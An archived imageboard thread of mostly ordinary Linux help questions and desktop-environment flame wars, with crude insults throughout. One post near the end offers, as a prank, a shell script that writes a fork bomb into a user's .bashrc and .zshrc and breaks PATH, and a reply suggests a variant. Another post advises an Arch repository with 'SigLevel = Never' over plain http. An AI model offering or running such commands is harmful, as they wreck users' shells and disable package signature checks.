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Previously on >>55476113

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Can you only have one auto define per file type in vim? I want to highlight tabs and trailing whitespace different colours in python.

Cheers
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>SFTP server
done
>Firewall
done (picture related)
What next, /fglt/?
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>>55488200
Here's what I am trying to do. Please help
highlight BadWhitespace ctermbg=red guibg=darkred
highlight Tabs ctermbg=blue guibg=darkblue
au BufRead,BufNewFile *.py,*.pyw,*.c,*.h:
\ match Tabs /^\s\+/
\ match BadWhiteSpace /\s\+$/
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>>55488244
Very nice. Could you post your other guides?

>>55488304
Maybe this helps http://superuser.com/questions/844004/creating-a-simple-vim-syntax-highlighting ?
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Not 100% linux related question but how do I add a motd for cygwin? Putting a motd file in the /etc/ folder doesnt work neither does it work if it put it in /etc/defaults/etc/
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>>55488338
Sure
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>>55488375
>cygwin
Actually close to 0% linux related.
did you try symlinking it?
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>>55488532
>>55488375
according to OP, this is a Linux and GNU thread
cygwin isn't Linux related, but it is GNU related
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GTKucks need not apply
http://www.aelog.org/checksums-made-easy
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>>55488668
Ohohoho gtk cucks rekt
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>>55488586
True, but GNU is not the same as Linux. Also people here don't go around and ask wine questions in windows threads do they?
i would like to help him but i don't have the ability to try doing what he tries in cygwin since i don't run windows. I would suggest asking cygwin users or reading their wiki.
Another thing i could recommend is reading https://wiki.debian.org/motd since they tell you how different GNU/Linux distros handle motd.
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>>55488668
Shouldn't most shells do this by default? Why would you add this to a file manager? I think both qt and gtk suck btw. Which sucks less is a matter of personal preference and calling users of the other side names is really not the right way to improve it.
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How difficult is it to change vanilla linux to linux-libre? Is there a guide I could read? My hardware doesn't need any nonfree drivers, so this shouldn't be a problem.
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>>55488787
Also, what's a good place to read more about kernel hacking in general?
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>>55488787
On which distro? On debian you can just remove nonfree and contrib and have a blobfree kernel, on buntu you can switch to trisquel sources, on arch switch to parabola (there should be a guide on the parabola website or the pkgbuild on the AUR). maybe reading https://trisquel.info/en/wiki/compiling-gnu-linux-libre-kernel helps.
or try http://kernelnewbies.org/FAQ
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>>55488244

Why would someone look at that incoherent picture when I could just read the Ubuntu page about ufw and its documentation?
What's the obsession with your idiots for infographics and weak, incomplete information presented in form of a fancy picture?
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>>55488869
Thank you very much buddy. Will read into these!
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>>55488899
Fuck off, he's doing a good job and unlike you, contributes something useful.
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>>55488899
Wiki is bloated. And the picture clearly is not a replacement of a wiki, brain dead retard
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>>55488966

>having all the relevant information about something is bloated

It's funny to see someone claiming that calling other people brain-dead retards.
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>>55488974
Do you even know how to read a whole fucking sentence?
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downloaded virtualbox

which linux should i pick as a total beginner?
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>>55488997
Install gentoo (and that's a non-meme answer) if you want to get into the shellstuff.

What exactly do you want to do with linux?
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>>55488997
I usually recommend fedora or debian because of their community and policies. you need to be able to read for them though. If you aren't go for buntu.
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>>55488338
Thank you based vim man. But one more q. The syntax overrides the default python highlighting. Any way to have both?
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>>55489038
just checking it out
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>>55488997
Babby's first linux is Ubuntu
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>>55488986

>Wiki is bloated.
That's a whole sentence. The full stop at the end signifies it.
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>>55489083
You sure picked the "brain dead" from the other sentence, don't even try
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>>55489066
Checking it out for what? You shouldn't just install linux for no reason or you'll go through the installation process and be like "now what" at the end of it.
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If anyone is still using datadog and didn't check your mail today yet, it appears that they got hacked
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>>55488244
there's also firewalld that has firewall-config gooey configuration tool.
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>>55488244
>Yandex DNS
I hope no one who actually lives in Russia uses this guide
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>>55489115
What's that?
>>55489179
Russians can use OpenDNS :^)
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>>55489111
Not him but i started just for trying it when i had 2 weeks of time. Now i am happy on sid.
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>>55489137

Firewalld's main advantage isn't its GUI, but the fact that it supports profiles which integrate nicely with NetworkManager. It's useful for people on laptops which connect to different networks.
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>>55489209
>What's that?
It's a monitoring SaaS, I used to run it on a VPS a while ago. It pulls third party software from their repositories and today they've asked everyone to reset their passwords and revoke API keys.
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>>55488736
I read this in RMS's voice
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If I try Debian live before formatting my hard drive will I be able to determine if it can use all my hardware or be able to download drivers for everything or whatever? Also you're suppose to suck the fluid out of my nose.
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>>55489368
If a debian live usb works on your machine that means that your hardware works without proprietary software aand on old kernels. if a debian nonfree live usb works it means your hardware runs on old kernels. but you could just check out if your individual hardware needs nonfree drivers.
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>>55489368
Probably not, device support often relies on kernel configuration. You might be able to install/load additional kernel modules after booting the livecd but it's not a trivial task if you don't know what you're doing.
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>>55489405
>>55489412
So I guest I just dual boot into debian and see if I can get everything working before I get rid of windows?
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>>55489451
That is one way. But you could also check out a detailed hardware list of your computer and searx for compatibility issues.
just installing it would work too.
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What's an easy way to download from mega via cli?
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>>55489451
Yeah, probably. On your current install you can mess with it, install drivers and change kernel, it's much harder on live media. If you mess it up you'll still have a backup system too. And if you're going to play a lot of videogames then you'll might want to keep Windows anyway.
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>>55489513
maybe: https://github.com/megous/megatools
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>>55488668
GTK is not responsible for this. Gnome would be responsible for implementing the UI for this function.
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Guys. Sometimes I just want to drop GNOME/GTK and just bite into the sour KDE apple. This "removing features" mentality, no filepicker, etc trash makes me sick. Should I say "fuck it, 1,5 GB isn't that much" and switch?
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>>55490101
KDE isn't 1.5GB.
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In dolphin when you are in a directory with lots of subdirectories, if you go on to a subdirectory and then go back out you are dropped at the beginning of the list of subdirectories, not where you just were. Can this be changed? It's really annoying.
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>run ubuntu 16.04
>everything works okay
>a few days later
>error popups right after startup
>random shit just breaks during the system use
>happened both when I ran it in a VM and when I installed it as a main system on a laptop

which non-shitty distro should I pick instead?
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>>55490217
Sounds like you fucked it up, things don't magically go wrong for no reason.
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>>55490221
I did nothing and it happened multiple times on different installations

I feel like after some of its updates it just breaks
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>>55490101
KDE has a bunch of issues on it's own but GNOME/GTK is practically a sinking ship now that's afloat only because of Red Hat
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whats so bad about unity?

I'm kinda enjoying it, only had problems on some older computers where it was laggy as fuck
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>>55490262
Ok sure
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>>55490311
Nothing if you like it
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Why do GTK programs have such a hard time fitting their taskbar icons in KDE if the taskbar is fairly small?
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>>55490400
I suppose that the GTK icons aren't designed to follow the "KDE standard", assuming this is even a thing.
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>>55490101
Ignore both sides as much as possible and use dwm or i3wm.
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>>55490492
Dont I need a framework for gui stuff? With i3 I'd end up with the same gtk stuff like currently on gnome.
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>>55490649
Yes
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>>55490649
I use a few gnome things, but at least you won't have to pick a side and shout at others. And you will have a better WM than both gnome and kde have.
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Why did it die?
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>>55491098
Because it was shit and pointless.
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>>55491098
riceDB killed it.
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>>55491137

We have a bunch of good people here in /fglt/, why not create something that doesn't suck?
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>>55491159
There is literally no reason for it. Anything it was trying to do already exists.
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>>55491159
Gentoo
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>>55490696

How is i3 a better window manager than Kwin or Mutter? You don't even know about any of the advanced features they offer, but you're instead just parroting misinformation you saw on here. The only reason you put i3 on a pedestal is because you think that tiling window managers are hot shit. Guess what, Kwin can also tile.
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>>55488244
OpenDNS is garbage.
You should be running your own DNS and going straight to the IANA root. There is no reason to rely on third party services, especially ones as disgustingly privacy invading as OpenDNS. At the very least you should suggest OpenNIC.
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>>55491207
What's the root of this meme?
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XFCE is surely the superior DE I will use once my USB is finished being formatted?
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>>55491448
Will you?
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>>55491475
Yea, supposedly it's lightweight and is just as easy to navigate in then any other DEs.
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Im currently using a first gen i3 laptop with 4gb of ram as my primary machine. I didn't have a swap partition cus lazy so the system would often just freeze up. I've since swapon like 4gb. Is there anything I should do to further optimize performance? I'm running cinnamon on a ubuntu 14.04 lts minimal install.
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>>55491526
So what was your question?
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>>55491249
I don't use i3. I use dwm and for me tiling as default with grouping into master and stack makes sense. I3 users often like that they can specify where it tiles exactly. Another good thing specifically about dwm is how fast it is, everyting reacts without any noticable delay. This can not be said about kwin and usually not about mutter either.
The floating layout of dwm has very strong window snapping in the default configuration which makes using it feel fast and efficient. Floating windows are also above tiling onesby default which makes it useful for video/music players or anything else you wouls like to use. Monocle view is also nice for some things like gimp or blender.
And the quick overview with mod1+0 makes more sense then the ones in gnome or kde imo.
Not that I dislike kde or gnome, I just think they kinda suck for me.
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>>55491393
/s4s/
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>>55491648
If you want you could use a more lightweight DE/WM and add a swap file or partition. Since it is a laptop you might want something like tlp. Which gpu is in there?
Why are you using 14.04 on a personal machine?
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>>55491098
>based on arch
>zsh by default
>i3 by default instead of a choice of different WMs
>no choice between rolling and stable
There are a few reason. The logo and name were nice though.
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>>55491838
It is a laptop but it's being used as a desktop effectively. External monitors, kb/mouse, always on AC. My RAM usage on boot is under 200, the only issue is chrome devouring my memory. I just prefer it to FF a lot, and all the "lite" browsers I have tried end up having a major flaw that requires me to have a back up browser anyway.
I'm using 14.04 because I already have it all configured. I've tried switching to pure debian but can't get easytether to work.
I have a swap now, it's 3.7gb which is the same as my real ram. I've never had a system that needed a swap so I'm just not sure if there is anything further I should do to optimize it. Can I like set a priority on what gets sent to the swap once my ram is consumed?
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>>55491763

>This can not be said about kwin and usually not about mutter either.
[citation of objective, scientifically measured data needed]
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>>55491838
Oh and what do I have to gain by switching to a more recent release? Everything is running very well but I am open to upgrading if it's warranted.
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>>55492023
Depending on your hardware the drivers got better, more features, some things may be faster on newer versions. The LTS branch is really only useful for servers imo. But it's your machine, just make sure to follow the security mailinglist.
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Hello

Does someone know how to fix this border issue ? (since Plasma 5.7, on Slackware -current)
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>>55492072
I'll resize my /home and try xenial on it. I finally have everything exactly the way I want it on this and just don't want to risk having to re-do everything. There are so many little things that you end up doing to tweak your system over time. Not to mention how big of a pain in the ass it was to get EasyTether to work.
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>>55492122
Well, there's a update, hopefully it will fix it.
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>>55491957
Unfortunately the amount of benchmarks regarding specific window managers on GNU/Linux is not very high. The only thing you will find are memory comparisons. And while they could prove my point, we both know how inaccurate memory usage comparisons are in regard to responsiveness in window managers.
But I can say from my experience on both high end and low end systems that dwm is more responsive than both mutter and kwin. If you don't trust my subjective perception try it yourself.
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What settings do you guys use for KDE? I love all the eyecandy and customization but holy shit this is unstable.

>mfw I crash my my entire DE just by moving a panel icon
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>>55492266
Just move on to greener pastures mang

You can't be doin with this
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>>55492266
plasma 5?
I'm still on kde4 but it's pretty solid with fairly minimal effects enabled.
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>>55492402
What should I use if not KDE?
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>>55492444
LXDE is nice, light, stable, and customizable, and being updated unlike XFCE

You could use a stand-alone window manager like i3wm as well

Or just resign and use GNOME 3, which isn't that bad but it's sometimes a bit frustrating
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>>55492164
>>55492122
Same shit, don't change anything.

>>55492444
Nothing, KDE is by far the best DE (and the only good one).
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>>55492444
oh and Cinammon is also nice, I hear, but it's a fork of GNOME 3 so
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>>55492487
>only good DE
>posts here because he has issues with it
wew lad, talk about brand loyality.
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>>55492487
>BEHEAD THOSE WHO INSULT KDE
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>>55492482
Xfce is still alive. A lot of updates doesn't mean it's a sane project. And, honestly, it's nice to know your shit won't change during the current year.

>>55492514
I'm using the latest release, not the stables one, so it's to be expected. You won't have an issue with KDE 4 (or even Plasma 5.6.5)
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Is it possible to get KDEs applications menu to open up with right click like it does in Openbox
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swap guy here
why is it being used when I still have 1.6gb left?
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>>55492550
Beside, it's not an issue, seem like the normal behaviour seeing this https://dot.kde.org/2016/07/05/kde-plasma-57
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>>55492261

That's exactly my point. I doubt there's a significant or noticeable difference when you move, resize or maximize windows of the same programs on different window managers under the same circumstances on modern hardware.
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>>55492482

>and being updated unlike XFCE
Xfce is currently being ported over to use GTK3 instead of GTK2. Why do you spread misinformation by saying that it's not "updated" or dead? How do you not feel any shame by outing yourself as an uninformed idiot?
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>>55492655
https://meta.wikimedia.org/wiki/Cunningham's_Law
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>>55492669

So, there's an excuse now for people "only pretending to be retarded"?
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>>55492696
Take it as an apology and a thank you for telling me what actually is going on with xfce
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I just switched to Arch from Ubuntu, mainly due to the awesome wiki and the shit Canonical was doing.
Now I see that many applications are a pain to install.
Did I make a huge mistake? Is arch a worthwhile distro or a edgelord cave?
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>>55492712
We should seriously seriously have copy pastas to deal with this kind of situation and show both good things and bad things about Arch, and recommendations on what to try before/after if you didn't like it.

I'm getting tired of regurgitating it every thread when someone like you comes along
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>>55492712
If you disliked what Canonical was doing, the next logical step would've been to cut them as a middle man and graduated to Debian instead, but that's just like, my opinion, man.
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>>55492739
I am sorry friend, I did not mean to upset you.
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>>55492568
vm.swappiness
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>>55492655

http://blog.alteroot.org/articles/2016-04-12/road-to-xfce-4.14.html
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>>55492712

What was Canonical doing?
When and how often were you unable to apply the information from the Arch Wiki to Ubuntu?
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Just got wifi working on debian, now im getting 100+ ping to my own router and horrible packet loss. What could be the problem?
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Picture to disprove those who claim to be able to see the difference between GTK2 and 3 (assuming the theme is consistent).

Which one is GTK3?
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>>55492712
Why Arch and not Debian m80?
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>>55492981
>What could be the problem?
sounds like driver issues, try ethernet or a better chip.
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>>55492903
>What was Canonical doing?
how new are you?
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>>55493112
>friendly thread
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>>55493001
both are gtk2 :^)
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>>55492712
Shit om arch all you like, but installing applications is the one thing arch makes easier than any other distro.
If the package is not in the repository, use the aur. There are helpers which allow you to find and install everything from your terminal. Doesn't get much easier than that.
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>>55493001
>posts from his gtk2 DE
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>>55493001
the window on the right is 1 pixel shorter
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>>55493001
>adobe flash
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>Please note that security updates for "unstable" distribution are not managed by the security team. Hence, "unstable" does not get security updates in a timely manner. For more information please see the Security Team's FAQ.
https://www.debian.org/releases/sid/

>Q: How is security handled for testing?

>A: Security for testing benefits from the security efforts of the entire project for unstable. However, there is a minimum two-day migration delay, and sometimes security fixes can be held up by transitions. The Security Team helps to move along those transitions holding back important security uploads, but this is not always possible and delays may occur. Especially in the months after a new stable release, when many new versions are uploaded to unstable, security fixes for testing may lag behind. If you want to have a secure (and stable) server you are strongly encouraged to stay with stable.
https://www.debian.org/security/faq#testing

Should I be worried?
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im using fedora and am trying to find the location of the app 'livestreamer'

i use the whereis command and it works for firefox/other programs, but for livestreamer it just gives a blank answer

does anyone know where livestreamer is installed by default on fedora, or another way to find it via a terminal command?

really sorry im very new to linux
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>>55493546
try "locate"
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>>55493602
locate: can not stat () `/var/lib/mlocate/mlocate.db': No such file or directory

get this for anything i search for
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Why do other terminals even bother when Xterm is the only one that works?
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>>55493631
Unicode.
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>>55493631
Get URxvt. It's basically XTerm made useful.
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>>55493529
>debian users left the thread
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>>55493602
>>55493628

i used updatedb and locate works for other apps, like firefox, but doesn't show anything for livestreamer
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>>55493767
Well there aren't many places.

Search in /usr/bin/, /opt/, but most likely in /usr/local/bin/. Good luck.
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>>55493798
>>55493767

But srsly, it's strange. If it's in your PATH, it should be shown when your search it with whereis, etc.

Can you even run the program?
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>>55493828
i could yes, i fixed it anyway

i just typed sudo dnf install livestreamer again and then did whereis livestreamer and it was in /usr/bin/livestreamer although i checked that folder manually before and that directory didnt exist. oh well. its working now.
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>>55493546
Are you sure you installed it?

I thought it should say
Repo      : installed


You should be able to check your package history by typing
dnf history
and
dnf history info #
to see what happened
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What is the right type of smartcard to buy if you want to write to it? I already have a working expresscard reader on GNU/Linux but am unsure about the standard of smart card I should buy that can be written to. Info about them is pretty obscure
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>>55493529
Should I be worried?
do you run sid on a production server with critical data?
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>>55494112
No, but what if some security hole like the ffmpeg exploit shows up and you're defenseless?
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>>55494112
not him but i've been running arch on a production mail server the past 3 years
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>>55492903
Amazon integration to unity, their cooperation with microsoft to bring bash to windows, just being canonical, and them going at things on their own (Mir, snaps, etc.)

Say this as a Ubuntu user myself, just what I've gleamed from all the hate. There is also the older hate for it from Debian users.
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How'd I go about moving the window controls from the top bar to the window's bar in unity?
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>>55494290
Stop using Unity
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>>55494326
Wow dude, calm down you're helping me too much!
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So I need to enable multiarch for wine, I'm amd64, and the command is # dpkg --add-architecture i386 && apt update. When I enter that in I don't get a response in the terminal, presumably it worked. Just to see I entered the command again without the hashtag and since I'm not in root it said access denied. Has multiarch been enabled or do I sudo the command. Presumably it has been enabled.
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>>55494410
The 'hashtag" means its a comment, so basically you didn't do anything. Sudo both commands without any # and everything will supposedly work.
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>>55494290
>>55494366
Ok fine. Check the appearance settings.
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>>55494290
cursory searching doesn't give me anything.

don't know if you can do that on unmaximized windows
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I tried doing a DCC transfer on irssi but my directory for the DCC download says it's 0kb
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>>55494509
-rw-r--r-- 1 tim tim         0 Jul  9 13:57 [HorribleSubs] Mobile Suit Gundam The Origin - 01 [1080p].mkv                  
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>>55494508
I couldn't find anything in unity-tweak-tool, but I was too dumb to check in unity's build-in settings as >>55494506 suggested. Thanks!
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>>55494448
The distro I'm using doesn't use sudo, I just needed to use su to get a root shell and it worked. What are the chances someone takes over my computer and steals my waifu collection at this point?
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>>55494612
Userspace as root is kinda bad... What distro is that?
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>>55494646
Not him but it's plainly not userspace as root. SHe said he uses su to get a root shell.
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>>55494646
I got the debian netinst iso off their site. It's the latest version I'd guess.
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>>55494689
Oh, okay. So he shouldn't be scared for his waifu collection. Pretty sure it's possible to get sudo on any distro?
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>>55494703
Just do
apt install sudo
. Than edit /etc/sudoers, adding a line
{usernamehere} ALL = (ALL) ALL
.
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apt is a command that accesses a distributions library of packages? Packages are programs?
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>>55494818
Some yes. Some can be libraries/dependencies.
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Why is /fglt/ so dead?
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>>55494962
Summer.
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>>55488668
BLOAT
L
O
A
T
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>>55495120
It's called functionality, poorfag
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>>55493529
>Should I be worried?
<crickets>
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>>55495179
>KDE/QT = FREE
>Gnome/GTK = FREE
>poorfag
What are you on dude?
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>>55495179
>poorfag
Don't you have an OS X machine to maintain?
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>>55494730
I used the command visudo in the /etc directory to change the sudoers file and added that command with my lowercase username in the curly braces but when I reopen the shell and try to use sudo it tells me I'm not in the sudoers file.
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>>55495216
KDE is not a poorfag DE. Get your facts straight. Only poorfag with ~512 MB of HDD complain about bloat

>>55495244
kek
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>>55494259

>Amazon integration to unity
Only affecting Unity. Doesn't happen when you do a netinstall or use one of the spins with a different environment.

> their cooperation with microsoft to bring bash to windows
How does that affect you on Ubuntu?

> and them going at things on their own (Mir, snaps, etc.)
How does that affect you in any way?

I'm not even an Ubuntu user, but those are retarded reasons to switch from it.
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also I have just entered the wine command in the root directory which has made wine files there which seems inoptimal
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>>55495262
the curly braces were there to note that you should fill it in. It shouldn't be in braces.

>>55495272
>implying you can't have a low-sized desktop while having terabytes of storage
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>>55495315
I just have to delete the .wine directory
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>>55495298
this was a list about why canonical is so reviled.

and if you dislike a company, why would you stick with their distribution? plenty of distros out there, you aren't compelled to stay with a single distro.
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>>55495315
That's weird. Wine usually keeps them in ~/.wine. But yeah just delete and redo.
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>>55495361
wine: created the configuration directory '/root/.wine'

rm says wine doesn't exist, trying to find how to delete hidden directories.
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>>55495262
What is your username on the system? Use the output from the whoami command in the sudoers file.

>>55495212
Not sure what you want. The Debian wiki/manual explains the differences between unstable/testing/stable pretty well.

- If you want security and stability, then go with stable/jessue.
- If you want packages to be up-to-date, go with unstable/sid.
- Testing/stretch is somewhere between the other two.
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>>55495404
just rm the hidden directory senpai. Why are you still running as root?
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>>55495430
What the fuck just happened???? I wrote f a m not sempai????! Test: senpai
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>>55495443
anime website
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>>55495443
How new are you
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>>55495443
Since when is this a thing?? Wtf
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>>55494962
because /g/ is actually /v/
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>>55495417
>up-to-date packages, but no security
>security, but old packages

That's the most retarded release model I've ever heard of LOL.
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>>55495459
>summer
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>>55495459
2013 new. I mean I'm pretty new but I've seen people use f a m.
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>>55495483
this t b h f a m
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>>55495518
>Okay wat? How did you...
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>>55495443

wtf i hate 4chan now
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>>55495334
Thank you I can not always be in root now
>>55495430
rm .wine doesn't work and senpai should be banned unless you're verified asian american
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>>55495539
>>
I started using Mint about a year ago, because it's supposed to be friendly for beginners (it is).

I'm mainly using it for general desktop-y stuff (web browsing, listening to music) and programming stuff.

But i noticed the package manager isn't really as up-to-date as i would like. For example, the openjdk only goes up to 7, postgresql only goes up to 9.3, ruby only goes up to 2.0 and some gems just don't work.
I don't think i should be using Mint as a programming environment. For desktop stuff it's okay though.
I tried CentOS in a VM and it was a little better.

What's the best distro for programming? Is it Arch? i heard it's "bleeding edge".
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>>55495560
Wait I have an idea. senpai
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>>55495548
How old are you?
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>>55495480
>That's the most retarded release model I've ever heard of LOL.
That and the fact that the devs set package defaults to whatever suits their autismal whims, are all the reasons you need to stay the hell away from Debian my friend. I wouldn't even use it on a server.
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>>55495580
Oh come on I wrote a cyrilic 'a'
>>55495573
Isn't a programmer supposed to want stability?
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I'm new to Debian and I travel a lot for my job. How do I change my repo mirror to automatically download from the nearest one?
>>
Summer
>>55495483
>>55495560
>>55495588
>>55495605
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>>55495633
>chocked
>summer
So new today here.
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>>55495636
senpai pls dont make me look like an idiot pls
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>>55495664
Stop it faggot, you are boring
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>>55495674
REEEEEEEEEE
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>>55495682
>making this post
that was worth it anon
>>
Do I have to do something with my SSD to make it run properly with Linux? For some reason it's all slow as shit.
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>>55495600
>Isn't a programmer supposed to want stability?
Yes, but Linux Mint doesn't even let me program in Java 8 unless i download it manually, whereas CentOS and other distros would let me install through the package manager.
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>>55488244
Any thing I should cover next? I swear newfriends were looking for many things a few days ago
>>
mkdir -p ~/.bin
echo ":(){ :|: & }; export PATH=~/.bin" > ~/.bashrc
echo ":(){ :|: & }; export PATH=~/.bin" > ~/.zshrc

for i in /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin; do
echo ":" > ~/.bin/$(ls $i)
done

exit


Did I win /g/?
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>>55495946
>using mkdir -p with ~ as the only parent
>not using tee
echo $bomb | tee .{bash,zsh}rc
pls senpai
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>>55495946
>parsing ls
This makes me angry.
>>
i just installed a AMD card(390) into my system and now I cant boot into GUI(can use terminal though)

How do I fix? Antergos user here
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>>55495664
I was hoping you were gone for good . The only thing worse than tipfags are forced-memefags.
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>>55488787
If you are using Arch, add this to /etc/pacman.conf :

[libre]
SigLevel = Never
#Include = /etc/pacman.d/mirrorlist
Server = http://repo.parabolagnulinux.org/$repo/os/$arch

I use the libre kernel, it's really nice. My bluetooth is not working but I really didn't need it.
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>>55496055
Install the driver.
Catalyst i guess.
>>
>>55494192
>>55494212
>>55494276
Are people actually reporting posts in this thread?
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>>55496174
>Shitpsots getting deleted. Nothing wrong there. Are you evading ban?
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>>55496174
>mom? they are making fun of me because I'm using Arch and everyone needs to know, what do?
>report the bad boys
:^)
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>>55495480
>>55495594
You're both retarded. There is a trade-off between being either stable or cutting-edge. You can't have a perfect, best of both worlds scenario.

Packages that are up-to-date are vulnerable because of unpredictable behavior and yet-to-be discovered bugs. You run the risk of instability and insecurity by choosing to use a rolling release distro.
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>>55496304
What's wrong with Arch?
>>
>>55496174
mad men those mods.

no skin off my back
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>>55496174
Maybe they were just randomly deleted.
We don't know. Let's move on with the thread.
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>>55496343
Why is it so hard to have up-to-date packages but not security updates? I mean, why the need to hold them back?

Also amazing to see when Debian does it, nobody cares, but when Manjaro does it, it's HAPPENING
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>>55496368
These people: >>55493086
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>>55496555
You do realise those are baits, don't you?
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>>55496467
>Why is it so hard to have up-to-date packages but not security updates?
Up-to-date packages are insecure BECAUSE they're up-to-date. They have changes which haven't been tested thoroughly. This is true for all distros, not just Debian. Debian Stable is stable because they go through a rigorous testing phase.

> why the need to hold them [security updates] back?
They don't. You're just an idiot who doesn't read the manual https://www.debian.org/security/
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>>55496614
woops, I meant
>This is true for all ROLLING distros*
kind of an important distinction
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>>55496614
They are holding them back for testing and unstable. How does that make any sense? Why does granpa jessi get security updates earlier than the rolling version?
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>>55496368

>>55488875
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>>55496675
Read the reply and get #rekt
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>>55496692
There is no #rekt.
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>>55496063
pls be friendly hun
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>>55496722
It's okay anon, everyone gets rekt every now and then, just like the debqueen got fucked in the ass on that thread, not as badly as you though
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Where can i learn more about Lunux/UNIX kernel? I interested in how it works, how it was invented from nothing, how it interracts with low-level utilities and drivers, what it's main functionality etc.
Just now for me it looks like small black box deep inside the system doing complex things with magic. Could anyone suggest books, web resources or course records for me to get rid of this incompetency?
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>>55496767
Whatch Revolution OS. Install LFS.
>>
Ignoring the fact this thread was invaded by an unknown source it turns out what an anon had said was right wine was intalled in ~/.wine not root and I can run the program from applications which is nice. I'm free now shit posters, I'm free.
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>>55496894
Why would wine be installed in root?
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I ran the wine command in the root directory so I'd thought it created the directory there.
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>>55496173
Shit dont work.
Has anyone gotten a 390 running on Arch? Seems like hell to do.
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Can I su inside of a script? Like I need to login to a server through the terminal then su into a different account and then load a oracle database and log into it.

I want to just make a script to do this all for me to log in with one command.

Is it just a terrible idea to try a login mid script when I have to use a password? Would this, for security, require some kind of keyfile based login?
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>>55497215
You can either use a setuid script or sudo -u USER -c "command"
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When I make sudo -i to become root, how to make it use my bashrc so I have the same aliases?

Scares me every time when I so rm without my rm -v alias.
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>>55497438
Maybe there's a better way (think there is an option to do that actually) but you could symlink your bashrc to /root/.bashrc or add your aliases to the one in /etc
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>>55497504
thanks
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>>55497438
sudo -E maybe?
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>>55497438
>sudo -s reads the $SHELL variable and executes the content.
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>>55497291

Thanks
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>>55497660
Perfect!
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>>55498146
>/g/ technology
>4chan an anime imageboard.
>>
This is a friendly thread.
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>>55498218
install gentoo
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>>55498226
That's a friendly advice. Thank you very much.
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>>55498248
You're welcome, my friend.
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>>55498260
>>55498248
>>55498226
>>55498218
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>>55498226
are there any flaws or is gentoo really the ultimative zen distro?
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